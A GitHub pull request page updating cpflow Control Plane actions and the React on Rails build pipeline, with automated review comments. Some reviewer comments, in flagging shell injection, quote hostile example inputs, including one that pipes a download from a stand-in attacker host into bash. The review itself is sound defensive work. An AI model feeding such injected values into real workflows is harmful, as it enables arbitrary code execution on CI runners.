Skip to content

[codex] Update cpflow review app guidance#764

Merged
justin808 merged 6 commits into
masterfrom
jg-codex/cpflow-5-1-shared-secret-rollout
Jun 11, 2026
Merged

[codex] Update cpflow review app guidance#764
justin808 merged 6 commits into
masterfrom
jg-codex/cpflow-5-1-shared-secret-rollout

Conversation

@justin808

@justin808 justin808 commented Jun 4, 2026

Copy link
Copy Markdown
Member

Summary

  • update legacy cpflow setup defaults/docs to 5.1.1
  • keep the existing local GitHub Actions wrapper model and refresh shared grant terminology
  • update React on Rails package references to 17.0.0-rc.1

Validation

  • ruby -S cpflow --version
  • YAML parse for .github/workflows/cpflow-*.yml and .controlplane/controlplane.yml
  • git diff --check
  • actionlint .github/workflows/cpflow-*.yml was run and only reported existing shellcheck style/info findings

Notes

  • Draft PR for CI/human review.
  • Autoreview completed clean before the final generated-wrapper fixes in the other repos; this legacy PR was not changed afterward.

Note

Medium Risk
Changes production Docker precompile and CI build order for assets; mis-ordering could break deploys, but scope is mostly tooling and build pipeline rather than runtime app logic.

Overview
Adds reusable GitHub composite actions for Control Plane (cpflow-setup-environment, cpflow-build-docker-image with optional SSH for private deps, cpflow-delete-control-plane-app with review-app prefix guard) and refreshes .controlplane/templates/org.yml comments for cpflow 5.1.1 app-secret vs shared-secret terminology. README now points at the shared cpflow-* Actions flow for review apps, staging, and production.

Aligns the React on Rails 17 asset pipeline: react_on_rails:generate_packs runs before ReScript/Shakapacker in the Dockerfile, config/initializers/react_on_rails.rb build commands, and package.json build:dev / build:test; ESLint ignores generated packs/locale output. Webpack adds client/app to resolve.modules. Several client entry/components gain 'use client' (and minor style/format tweaks) for RSC boundaries.

Gemfile.lock picks up minor transitive bumps (console, json, websocket-driver).

Reviewed by Cursor Bugbot for commit 2939b02. Bugbot is set up for automated code reviews on this repo. Configure here.

@github-actions

github-actions Bot commented Jun 4, 2026

Copy link
Copy Markdown

🚀 Quick Review App Commands

Welcome! Here are the commands you can use in this PR:
They require the repository to have cpflow review apps configured, including the CPLN_TOKEN_STAGING secret.

+review-app-deploy

Deploy your PR branch for testing.

+review-app-delete

Remove the review app when done.

+review-app-help

Show detailed instructions, environment setup, and configuration options.

Comment +review-app-help for full setup details.

@coderabbitai

coderabbitai Bot commented Jun 4, 2026

Copy link
Copy Markdown

Warning

Review limit reached

@justin808, we couldn't start this review because you've reached your PR review rate limit.

More reviews will be available in 10 minutes and 6 seconds. Learn how PR review limits work.

Your organization has run out of usage credits. Purchase more credits in the billing tab to continue.

⌛ How to resolve this issue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans include higher PR review limits than trial, open-source, and free plans. In all cases, reviews become available again over time. During sustained high-volume PR review activity, CodeRabbit may temporarily slow when the next review becomes available.

Please see our Fair Usage Limits Policy for further information.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 67a137f5-a9ca-4b6c-9141-8ad1a8d7e726

📥 Commits

Reviewing files that changed from the base of the PR and between 5d185bc and 2939b02.

⛔ Files ignored due to path filters (1)
  • Gemfile.lock is excluded by !**/*.lock
📒 Files selected for processing (18)
  • .controlplane/Dockerfile
  • .controlplane/templates/org.yml
  • .github/actions/cpflow-build-docker-image/action.yml
  • .github/actions/cpflow-delete-control-plane-app/action.yml
  • .github/actions/cpflow-delete-control-plane-app/delete-app.sh
  • .github/actions/cpflow-setup-environment/action.yml
  • README.md
  • client/app/bundles/comments/components/CommentBox/CommentList/CommentList.spec.jsx
  • client/app/bundles/comments/components/SimpleCommentScreen/ror_components/SimpleCommentScreen.jsx
  • client/app/bundles/server-components/components/LiveActivityRefresher.jsx
  • client/app/bundles/server-components/components/ServerInfo.jsx
  • client/app/bundles/server-components/components/TogglePanel.jsx
  • client/app/bundles/server-components/ror_components/LiveActivity.jsx
  • client/app/bundles/server-components/ror_components/ServerComponentsPage.jsx
  • client/app/packs/stores-registration.js
  • config/initializers/react_on_rails.rb
  • config/webpack/commonWebpackConfig.js
  • package.json
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch jg-codex/cpflow-5-1-shared-secret-rollout

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Comment thread .controlplane/entrypoint.sh Outdated
@justin808

Copy link
Copy Markdown
Member Author

+review-app-deploy

@github-actions

github-actions Bot commented Jun 4, 2026

Copy link
Copy Markdown

❌ Review App Deployment Failed

Deployment failed for PR #764, commit 8b4be0c

🎮 Control Plane Console
📋 View Failed Action Build and Deploy Logs

@github-actions github-actions Bot had a problem deploying to review/qa-react-webpack-rails-tutorial-764 June 4, 2026 07:46 Failure
@github-actions

github-actions Bot commented Jun 4, 2026

Copy link
Copy Markdown

@github-actions github-actions Bot temporarily deployed to review/qa-react-webpack-rails-tutorial-764 June 4, 2026 07:48 Inactive
@github-actions

github-actions Bot commented Jun 4, 2026

Copy link
Copy Markdown

🎉 Deploy Complete!

Open Review App

Deployment successful for PR #764, commit 7a11703

🎮 Control Plane Console
📋 View Completed Action Build and Deploy Logs

@github-actions github-actions Bot temporarily deployed to review/qa-react-webpack-rails-tutorial-764 June 4, 2026 19:45 Inactive

@cursor cursor Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes and found 3 potential issues.

Fix All in Cursor

Bugbot Autofix is ON. A cloud agent has been kicked off to fix the reported issues.

Reviewed by Cursor Bugbot for commit 7a11703. Configure here.

Comment thread config/initializers/react_on_rails.rb
Comment thread .github/actions/cpflow-delete-control-plane-app/delete-app.sh Outdated
Comment thread package.json Outdated
Comment thread package.json Outdated
"build:test": "rm -rf public/packs-test && RAILS_ENV=test NODE_ENV=test bin/shakapacker",
"build:dev": "rm -rf public/packs && RAILS_ENV=development NODE_ENV=development bin/shakapacker",
"build:test": "rm -rf public/packs-test && yarn res:build && RAILS_ENV=test NODE_ENV=test bundle exec rails react_on_rails:locale && RAILS_ENV=test NODE_ENV=test bundle exec rake react_on_rails:generate_packs && RAILS_ENV=test NODE_ENV=test bin/shakapacker",
"build:dev": "rm -rf public/packs && yarn res:build && RAILS_ENV=development NODE_ENV=development bundle exec rails react_on_rails:locale && RAILS_ENV=development NODE_ENV=development bin/shakapacker",

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

build:dev is missing react_on_rails:generate_packs

build:test (line above) now runs react_on_rails:generate_packs before shakapacker, and the Dockerfile was updated the same way. But build:dev only adds react_on_rails:locale. If v17 requires generate_packs before webpack (which the other changes imply), direct yarn build:dev calls will produce a broken dev bundle.

Suggested change
"build:dev": "rm -rf public/packs && yarn res:build && RAILS_ENV=development NODE_ENV=development bundle exec rails react_on_rails:locale && RAILS_ENV=development NODE_ENV=development bin/shakapacker",
"build:dev": "rm -rf public/packs && yarn res:build && RAILS_ENV=development NODE_ENV=development bundle exec rails react_on_rails:locale && RAILS_ENV=development NODE_ENV=development bundle exec rake react_on_rails:generate_packs && RAILS_ENV=development NODE_ENV=development bin/shakapacker",

Comment on lines +13 to +15
config.build_production_command =
"yarn res:build && RAILS_ENV=production NODE_ENV=production bin/rails react_on_rails:locale && " \
"RAILS_ENV=production NODE_ENV=production bin/shakapacker"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

build_production_command is missing react_on_rails:generate_packs

The Dockerfile was updated to run bundle exec rake react_on_rails:generate_packs before assets:precompile, and build:test in package.json also runs it. But this production command only adds react_on_rails:localegenerate_packs is absent. All three build paths should be consistent.

Also note that build_test_command (line 11–12) has the same omission compared to the build:test yarn script, which does include generate_packs. Consider whether the initializer's test command should also include it.

Suggested change
config.build_production_command =
"yarn res:build && RAILS_ENV=production NODE_ENV=production bin/rails react_on_rails:locale && " \
"RAILS_ENV=production NODE_ENV=production bin/shakapacker"
config.build_production_command =
"yarn res:build && RAILS_ENV=production NODE_ENV=production bin/rails react_on_rails:locale && " \
"RAILS_ENV=production NODE_ENV=production bin/rails react_on_rails:generate_packs && " \
"RAILS_ENV=production NODE_ENV=production bin/shakapacker"

Comment on lines +48 to +60
if [[ -n "${{ inputs.docker_build_extra_args }}" ]]; then
while IFS= read -r arg; do
arg="${arg%$'\r'}"
[[ -n "${arg}" ]] || continue

if [[ "${arg}" =~ [[:space:]] ]]; then
echo "docker_build_extra_args entries must be single docker-build tokens. " \
"Use key=value forms like --build-arg=FOO=bar." >&2
exit 1
fi

docker_build_args+=("${arg}")
done <<< "${{ inputs.docker_build_extra_args }}"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shell injection risk: template expressions in inline script

${{ inputs.docker_build_extra_args }} is rendered into the script before the shell runs it. GitHub Actions does not shell-escape template values, so a crafted input like "; malicious_command; echo " could escape the here-string context. The same issue applies to ${{ inputs.docker_build_ssh_key }} on line 83.

The GitHub hardening guide recommends routing such values through env: variables instead:

      env:
        DOCKER_BUILD_EXTRA_ARGS: ${{ inputs.docker_build_extra_args }}
      run: |
        ...
        if [[ -n "$DOCKER_BUILD_EXTRA_ARGS" ]]; then
          while IFS= read -r arg; do
            ...
          done <<< "$DOCKER_BUILD_EXTRA_ARGS"
        fi

Since this action is only called from controlled workflows today the practical risk is low, but this pattern prevents future misuse if the action is ever invoked with PR-derived inputs.

Comment thread .controlplane/entrypoint.sh Outdated
wait_for_service $(echo $REDIS_URL | sed -e 's|redis://||' -e 's|/.*$||')

echo " -- Finishing entrypoint.sh, executing '$@'"
echo " -- Finishing entrypoint.sh, executing '$*'"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor: $* vs $@ in the display message

The actual exec "$@" below is correct. But in a double-quoted string, $* joins all positional parameters with the first character of IFS (usually a space), while $@ expands them as separate words. For a display message they behave identically in normal cases, but $@ is the more precise choice and consistent with the exec below.

Suggested change
echo " -- Finishing entrypoint.sh, executing '$*'"
echo " -- Finishing entrypoint.sh, executing '$@'"

Comment on lines +51 to +60
if [[ -z "$TOKEN" ]]; then
echo "Error: Control Plane token not provided" >&2
exit 1
fi

if [[ -z "$ORG" ]]; then
echo "Error: Control Plane organization not provided" >&2
exit 1
fi

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Dead code: both token and org inputs are declared required: true at lines 4 and 8, so GitHub Actions will fail the job before the shell script ever runs if they are absent. These runtime checks add noise without providing any additional safety. They can be removed.

@github-actions

github-actions Bot commented Jun 4, 2026

Copy link
Copy Markdown

🎉 Deploy Complete!

Open Review App

Deployment successful for PR #764, commit 7a11703

🎮 Control Plane Console
📋 View Completed Action Build and Deploy Logs

@justin808 justin808 marked this pull request as ready for review June 11, 2026 11:34
@claude

claude Bot commented Jun 11, 2026

Copy link
Copy Markdown

Code Review

Overview

This PR modernizes the Control Plane (cpflow) GitHub Actions setup by introducing three reusable composite actions, aligns the asset pipeline with React on Rails 17's generate_packs requirement, and refreshes cpflow 5.1.1 shared-secret terminology. The scope is entirely tooling and CI — no runtime app logic is changed.


What's Good

  • Safety guard on delete: The prefix check in delete-app.sh is an excellent safeguard against accidentally deleting non-review apps.
  • SSH pinned host keys: Hardcoding GitHub's known host keys prevents MITM attacks during Docker builds that use private dependencies.
  • set -euo pipefail throughout all shell steps — solid defensive scripting.
  • Consistent generate_packs ordering across Dockerfile, initializer build commands, and package.json scripts — all correctly place it before shakapacker.
  • Arrow-function → function-declaration conversions in JSX components are a minor but consistent style improvement.

Issues

Medium

1. Token injection risk in cpflow-setup-environment
TOKEN="${{ inputs.token }}" interpolates the secret value directly into the YAML shell string. If the token contains shell metacharacters (", $, backticks), this can silently corrupt the value or cause unexpected behavior. The safer pattern is to use an env: block on the step so the value is passed as an environment variable rather than text-substituted into the script. See inline comment.

2. resolve.modules can shadow npm packages
Adding client/app to webpack's resolve.modules means any file at client/app/<name>.js will shadow an npm package of the same name. This is a subtle footgun that is hard to debug. See inline comment.

Low

3. bundle exec rake vs bin/rails
The new generate_packs line in the Dockerfile uses bundle exec rake while the adjacent line uses bin/rails. Minor inconsistency worth making uniform. See inline comment.

4. Ruby runtime required in JS build scripts
build:dev and build:test in package.json now call bundle exec rails ... directly. This couples the JS tooling entrypoint to a Ruby runtime being available. Any environment that runs these scripts (plain CI Node containers, contributors without Ruby set up) will silently fail on the Rails steps without a clear error. Consider documenting this as a prerequisite or gating with a check.


Minor Notes

  • The cpflow exists exit-code-3 convention in delete-app.sh is an undocumented cpflow internal. A short comment (e.g. # cpflow exits 3 when the app does not exist) would prevent future confusion if the CLI ever changes.
  • The redundant TOKEN/ORG emptiness checks in cpflow-setup-environment are harmless but unnecessary since both inputs are required: true — GitHub Actions already enforces this.
  • The lint:eslint --ignore-pattern flags work, but a shared .eslintignore file would be more maintainable as generated paths grow.

run: |
set -euo pipefail

TOKEN="${{ inputs.token }}"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using ${{ inputs.token }} directly in a run: block text-substitutes the value into the YAML before the shell sees it. If the token ever contains ", $, or backticks the interpolation will corrupt the value or cause unexpected shell behaviour.

Prefer mapping it through env: so the shell receives it as an environment variable:

Suggested change
TOKEN="${{ inputs.token }}"
- name: Setup Control Plane profile and registry login
shell: bash
env:
TOKEN: ${{ inputs.token }}
ORG: ${{ inputs.org }}
run: |
set -euo pipefail

Then remove the two TOKEN=... / ORG=... assignment lines below and use $TOKEN / $ORG directly (they're already in the environment).


const commonOptions = {
resolve: {
// Add .res.js extension for ReScript-compiled modules (modern ReScript convention)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Adding client/app to resolve.modules means webpack will look there before node_modules for bare imports. Any file under client/app/ whose name matches an npm package (e.g. a future client/app/react.js, client/app/lodash/index.js) will silently shadow the npm package everywhere in the bundle, which is very hard to debug.

If the goal is to allow absolute-style imports from within client/app (e.g. import Foo from 'components/Foo' instead of '../../components/Foo'), consider instead using a resolve.alias for a single explicit namespace (e.g. '@app': path.resolve(__dirname, '../../client/app')) so collisions are impossible.

Comment thread .controlplane/Dockerfile
@@ -72,7 +72,8 @@ RUN SECRET_KEY_BASE=precompile_placeholder bin/rails react_on_rails:locale
# and /app/client/app are the client assets that are bundled, so not needed once built
# Helps to have smaller images b/c of smaller Docker Layer Caches and smaller final images

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor inconsistency: this step uses bundle exec rake while the very next line uses bin/rails. bin/rails is the project-standard wrapper (it also invokes Bundler) and is consistent with the react_on_rails:locale call above.

Suggested change
# Helps to have smaller images b/c of smaller Docker Layer Caches and smaller final images
RUN SECRET_KEY_BASE=precompile_placeholder bin/rails react_on_rails:generate_packs && \

Comment thread package.json
"test:client": "yarn jest",
"build:test": "rm -rf public/packs-test && RAILS_ENV=test NODE_ENV=test bin/shakapacker",
"build:dev": "rm -rf public/packs && RAILS_ENV=development NODE_ENV=development bin/shakapacker",
"build:test": "rm -rf public/packs-test && yarn res:build && RAILS_ENV=test NODE_ENV=test bundle exec rails react_on_rails:locale && RAILS_ENV=test NODE_ENV=test bundle exec rake react_on_rails:generate_packs && RAILS_ENV=test NODE_ENV=test bin/shakapacker",

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

build:test (and build:dev below) now shell out to bundle exec rails, which requires Ruby and Bundler to be available. Previously these were pure Node/Yarn scripts.

This means contributors or CI containers that have only Node installed will hit a cryptic failure. Consider either:

  1. Adding a note to the README / CLAUDE.md that Ruby must be available to run these scripts, or
  2. Prefixing with a guard: which bundle > /dev/null 2>&1 || (echo 'Ruby/Bundler required' && exit 1) to surface a clear error.

@justin808 justin808 merged commit 9bd3cbd into master Jun 11, 2026
17 checks passed
@justin808 justin808 deleted the jg-codex/cpflow-5-1-shared-secret-rollout branch June 11, 2026 11:45
Comment thread .controlplane/Dockerfile
# SECRET_KEY_BASE is required for asset precompilation but is not persisted in the image
RUN SECRET_KEY_BASE=precompile_placeholder yarn res:build && \
RUN SECRET_KEY_BASE=precompile_placeholder bundle exec rake react_on_rails:generate_packs && \
SECRET_KEY_BASE=precompile_placeholder yarn res:build && \

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The build order here (generate_packsres:build) is reversed compared to both config/initializers/react_on_rails.rb and package.json, where res:build always runs first. If generate_packs creates entry points that reference ReScript-compiled modules (.res.js), running it before res:build will operate on stale or absent output. The ordering should be consistent across all build surfaces.

Suggested change
SECRET_KEY_BASE=precompile_placeholder yarn res:build && \
RUN SECRET_KEY_BASE=precompile_placeholder yarn res:build && \
SECRET_KEY_BASE=precompile_placeholder bundle exec rake react_on_rails:generate_packs && \
SECRET_KEY_BASE=precompile_placeholder bin/rails assets:precompile && \
rm -rf /app/lib/bs /app/client/app

Comment on lines +45 to +49
run: |
set -euo pipefail

TOKEN="${{ inputs.token }}"
ORG="${{ inputs.org }}"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

TOKEN and ORG are set via direct ${{ inputs.* }} interpolation inside the shell script, which is a script injection vector — if either input contains shell metacharacters, they execute in context. The sibling cpflow-build-docker-image action handles this correctly by passing all inputs through the env: block and only referencing them as $VAR in the script body. Apply the same pattern here:

Suggested change
run: |
set -euo pipefail
TOKEN="${{ inputs.token }}"
ORG="${{ inputs.org }}"
env:
TOKEN: ${{ inputs.token }}
ORG: ${{ inputs.org }}
run: |
set -euo pipefail

Then replace the inline TOKEN=... / ORG=... assignments with plain $TOKEN / $ORG references.

@github-actions

github-actions Bot commented Jun 11, 2026

Copy link
Copy Markdown

✅ Review App Deleted

Review app for PR #764 is deleted

🎮 Control Plane Console
📋 View Workflow Logs

resolve: {
// Add .res.js extension for ReScript-compiled modules (modern ReScript convention)
extensions: ['.css', '.ts', '.tsx', '.res.js'],
modules: [path.resolve(__dirname, '../../client/app'), 'node_modules'],

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Adding client/app to resolve.modules enables bare imports like import 'bundles/comments/...', but has two downsides worth considering:

  1. Silent shadowing — any directory under client/app (e.g., react, path, lodash) will shadow an npm package of the same name, producing a confusing resolution failure rather than the expected dependency.
  2. Discovery — imports look like package references but resolve locally; a reader unfamiliar with this config will not know where to look.

resolve.alias is a safer alternative that makes the mapping explicit without touching the module search path:

alias: {
  app: path.resolve(__dirname, '../../client/app'),
},

Then imports become import Foo from 'app/bundles/...', which is unambiguous.

@greptile-apps

greptile-apps Bot commented Jun 11, 2026

Copy link
Copy Markdown

Greptile Summary

This PR aligns the tutorial with cpflow 5.1.1 and React on Rails 17.0.0-rc.1 by introducing three new reusable GitHub composite actions (setup, Docker build with optional SSH, guarded review-app delete) and refreshing build pipelines to explicitly run react_on_rails:generate_packs before asset compilation across all entry points.

  • New composite actions standardise CI tooling setup and image build/delete flows; the build action correctly uses env: variables, but the setup action interpolates token, org, and version inputs directly into shell run: blocks.
  • Build pipeline updates add react_on_rails:locale and react_on_rails:generate_packs as explicit pre-steps in package.json, the Rails initializer, and the Dockerfile; the Dockerfile runs generate_packs before res:build, the reverse of every other build path in the PR.
  • Webpack config adds client/app ahead of node_modules in the modules array, which could silently shadow npm packages with same-named local files.

Confidence Score: 3/5

The new cpflow-setup-environment action should have its inputs moved to env: before these actions are wired into production workflows; everything else in the PR is sound.

The setup action passes token, org, and version strings directly into shell run: blocks via template expressions rather than env: variables. Any caller that supplies a user-influenced or malformed version input would execute arbitrary shell commands in the CI runner. The sibling build action in this same PR already uses the correct env: pattern, so the fix is clear and isolated.

.github/actions/cpflow-setup-environment/action.yml needs the input injection fix; .controlplane/Dockerfile and config/webpack/commonWebpackConfig.js warrant a second look for the build-order and module-shadowing concerns.

Security Review

  • Shell injection in .github/actions/cpflow-setup-environment/action.yml: ${{ inputs.cpln_cli_version }}, ${{ inputs.cpflow_version }}, ${{ inputs.token }}, and ${{ inputs.org }} are substituted before the shell sees the script; a malicious version string would execute arbitrary commands in the CI runner.
  • The Control Plane token is interpolated inline rather than through env:, so it may not be masked in GitHub Actions logs if the caller does not pass it directly from a secret context.

Important Files Changed

Filename Overview
.github/actions/cpflow-setup-environment/action.yml New composite action; version inputs interpolated directly into shell without env: block, creating shell injection vector
.github/actions/cpflow-build-docker-image/action.yml New composite action for Docker builds; correctly uses env: for all inputs and validates extra build args
.github/actions/cpflow-delete-control-plane-app/action.yml New composite action; delegates to delete-app.sh via env: variables with prefix guard
.github/actions/cpflow-delete-control-plane-app/delete-app.sh Guards deletion with prefix check and handles cpflow exit codes; exit code 3 semantics undocumented
.controlplane/Dockerfile Adds generate_packs before res:build, opposite of every other build path in the PR
config/webpack/commonWebpackConfig.js Adds client/app before node_modules in modules array; could silently shadow npm packages
config/initializers/react_on_rails.rb Build commands now explicitly run locale and generate_packs before shakapacker in correct order
package.json build:test and build:dev prepend res:build, locale, and generate_packs; lint gains generated-file ignore patterns
.controlplane/templates/org.yml Comment-only update clarifying cpflow 5.1.1 shared_secret_grants terminology
Gemfile.lock Minor patch-level gem bumps: console, json, websocket-driver

Reviews (1): Last reviewed commit: "Merge master and address review fixes" | Re-trigger Greptile

Comment on lines +37 to +40
sudo npm install -g @controlplane/cli@${{ inputs.cpln_cli_version }}
cpln --version

gem install cpflow -v ${{ inputs.cpflow_version }}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Shell injection via unquoted input interpolation

${{ inputs.cpln_cli_version }} and ${{ inputs.cpflow_version }} are substituted by GitHub Actions before the shell sees the script, so any whitespace or shell metacharacters in the values are executed verbatim. A caller passing cpln_cli_version: "3.3.1 && curl attacker.example | bash" would run arbitrary code. The sibling cpflow-build-docker-image/action.yml correctly uses an env: block for all its inputs — the same pattern should be applied here. Move all four inputs (token, org, cpln_cli_version, cpflow_version) to env: entries on their respective steps and reference them as $VAR_NAME in the shell.

Comment thread .controlplane/Dockerfile
Comment on lines +75 to 78
RUN SECRET_KEY_BASE=precompile_placeholder bundle exec rake react_on_rails:generate_packs && \
SECRET_KEY_BASE=precompile_placeholder yarn res:build && \
SECRET_KEY_BASE=precompile_placeholder bin/rails assets:precompile && \
rm -rf /app/lib/bs /app/client/app

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 generate_packs runs before res:build, opposite order to every other build path

Every other invocation in this PR (config/initializers/react_on_rails.rb build_test_command/build_production_command, and both package.json build:test/build:dev scripts) runs yarn res:build before react_on_rails:generate_packs. Here the Dockerfile does the reverse. If the pack generator reads or validates any .res.js output — or if future changes add that dependency — the Docker build will silently use stale or absent ReScript artifacts while passing locally. Consider matching the order established by the other build commands, or add a comment explaining why the Docker layer-caching trade-off justifies the inversion.

resolve: {
// Add .res.js extension for ReScript-compiled modules (modern ReScript convention)
extensions: ['.css', '.ts', '.tsx', '.res.js'],
modules: [path.resolve(__dirname, '../../client/app'), 'node_modules'],

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 client/app placed before node_modules in modules array shadows npm packages

Webpack resolves bare specifiers by walking modules in order, so any directory or file under client/app whose name matches an npm package name will silently win over the npm package. For example, a file at client/app/react.js or client/app/lodash/index.js would shadow those packages for the entire bundle. If the intent is only to allow absolute imports from client/app (e.g. import Foo from 'components/Foo'), a safer alternative is to add a paths alias that only covers known namespaces rather than prepending an entire directory to module resolution.

@claude

claude Bot commented Jun 11, 2026

Copy link
Copy Markdown

Code Review — PR #764

Overview

This PR introduces three GitHub composite actions for Control Plane CI (cpflow-setup-environment, cpflow-build-docker-image, cpflow-delete-control-plane-app), updates the asset-pipeline build order to include react_on_rails:generate_packs, refreshes cpflow 5.1.1 terminology in templates, and applies Prettier/style reformatting across several React components.


Positives

  • The prefix guard in delete-app.sh is a solid safety net against accidentally deleting non-review apps.
  • cpflow-build-docker-image correctly isolates all secrets through the env: block and never writes the SSH key to disk.
  • SSH agent cleanup via trap 'ssh-agent -k' EXIT and unset DOCKER_BUILD_SSH_KEY are both handled properly.
  • Pinned GitHub host keys in the known_hosts fallback are a nice touch.
  • The arrow-function → function declaration conversion is consistent and aligns with the project's emerging style.

Issues (see inline comments)

  1. Build order mismatch in Dockerfilegenerate_packs runs before res:build in .controlplane/Dockerfile, but after in both config/initializers/react_on_rails.rb and package.json. If generate_packs produces entry points referencing ReScript-compiled modules, the Dockerfile ordering will produce stale references. The order should be consistent across all build surfaces.

  2. Shell injection risk in cpflow-setup-environmentTOKEN and ORG are set via direct ${{ inputs.* }} interpolation inside the bash run: block, which GitHub's own security hardening docs flag as a script injection vector. The sibling cpflow-build-docker-image action already does this correctly via the env: block — the same pattern should be applied here.

  3. resolve.modules namespace hazard in webpack config — Adding client/app to resolve.modules silently shadows any npm package that shares a name with a subdirectory there, and makes bare imports ambiguous to readers. resolve.alias is a safer and more explicit alternative.


Minor observations

  • react_on_rails:locale double-invocation: build:dev / build:test in package.json now call react_on_rails:locale explicitly, and react_on_rails.rb does the same in its build commands. If react_on_rails:assets:webpack still hooks locale generation automatically, this runs locale twice. Harmless but worth confirming it is intentional.
  • Long lint:eslint ignore pattern: Four --ignore-pattern flags appended inline make the command hard to read. An .eslintignore file (or ignorePatterns in the ESLint config) would be cleaner and easier to maintain.
  • Gemfile.lock: console, json, and websocket-driver bumps look like routine transitive updates — no concerns.
  • Hardcoded version defaults in the setup action are good for reproducibility; just make sure there is a process to keep them current as new releases ship.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant